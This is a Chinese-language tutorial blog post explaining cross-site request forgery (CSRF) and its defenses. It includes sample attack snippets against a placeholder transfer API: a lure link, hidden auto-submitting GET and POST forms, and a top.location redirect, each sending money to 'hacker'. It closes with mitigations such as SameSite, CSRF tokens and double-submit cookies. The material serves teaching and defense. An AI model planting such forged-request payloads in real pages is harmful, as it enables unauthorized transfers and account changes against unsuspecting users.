由於網頁Client與Server間是stateless (無狀態),因此我們要怎麼認定使用者身份,我們會把辨識使用者身份的資訊(token/session)放在cookie再與server溝通,若是有心人士掌握token後,就能偽造成該使用者去與做server溝通,進行危險的操作,像是更改密碼/刪除/轉帳等,這也就是著名的

CSRF(Cross Site Request Forgery) 中文為跨站請求偽造。

假設今天後端把 Access-Control-Allow-Origin 設成 '*',同時把需要身份驗證的操作放在 GET :

transfer.png

OK,事情大條拉,來看看可以怎麼在惡意網站觸發這隻API。

首先我們先在正常的網頁進行登入拿到 token 現在我們的瀏覽器保有這個token。

Chrome 80 以後 SameSite 預設為 Lax

那惡意網站可以怎麼觸發transfer API呢?以下演示幾種方式:

1. 惡意連結導向 transfer api

<a href="https://domain.com/transfer?to=hacker&value=1000" >Get One Million Chance!!!</a >

受騙者看到拿到一百萬的機會,興奮地點下去,Bang! The hacker got another 1000 dollars!

2. form GET

<form method="GET" action="https://domain.com/transfer"> <input placeholder="Nickname" /> <input name="to" value="hacker" type="hidden" /> <input name="value" value="1000" type="hidden" /> <button type="submit">Go!</button> </form>

受騙者輸入暱稱後,按送出,駭客又拿到1000元了。

或是什麼事都不做直接用js操作:

<form id="csrf-form" method="GET" action="https://domain.com/transfer"> <input name="to" value="hacker" type="hidden" /> <input name="value" value="1000" type="hidden" /> </form>
const csrfFormElem = document.getElementById("csrf-form"); csrfFormElem.submit();

3. top.location

同樣是什麼事都沒做直接送出:

top.location = "https://domain.com/transfer?to=hacker&value=1000";

受騙者不用進行任何點擊直接被導向 transfer api。


那如果是用transfer api 趕成Post呢?

<form id="csrf-form" method="POST" action="https://domain.com/transfer"> <input name="to" value="hacker" type="hidden" /> <input name="value" value="1000" type="hidden" /> </form>

同時後端改成拿body,那還是會成功打到api。

防禦

  • SameSite 改成 Strict,不提供第三方使用,但這樣會侷限住token的使用範圍,任何網站有做<a />導向或是iframe等,都需要重新登入
  • Referer: 這還是會有風險,看怎麼判斷 Referer,同時 Referer 是有辦法被偽造的
  • 雙重驗證: 圖形驗證、簡訊驗證、2FA等
  • CSRF token: 透過server給予csrf token並記錄,token 與 csrf token 的mapping,透過form的hidden input同時送出做雙重確認
  • Double Submit Cookie: 更嚴謹的CSRF token,把CSRF token也放進cookie

OWASP 建議用 CSRF token 方式加上Origin header做防禦。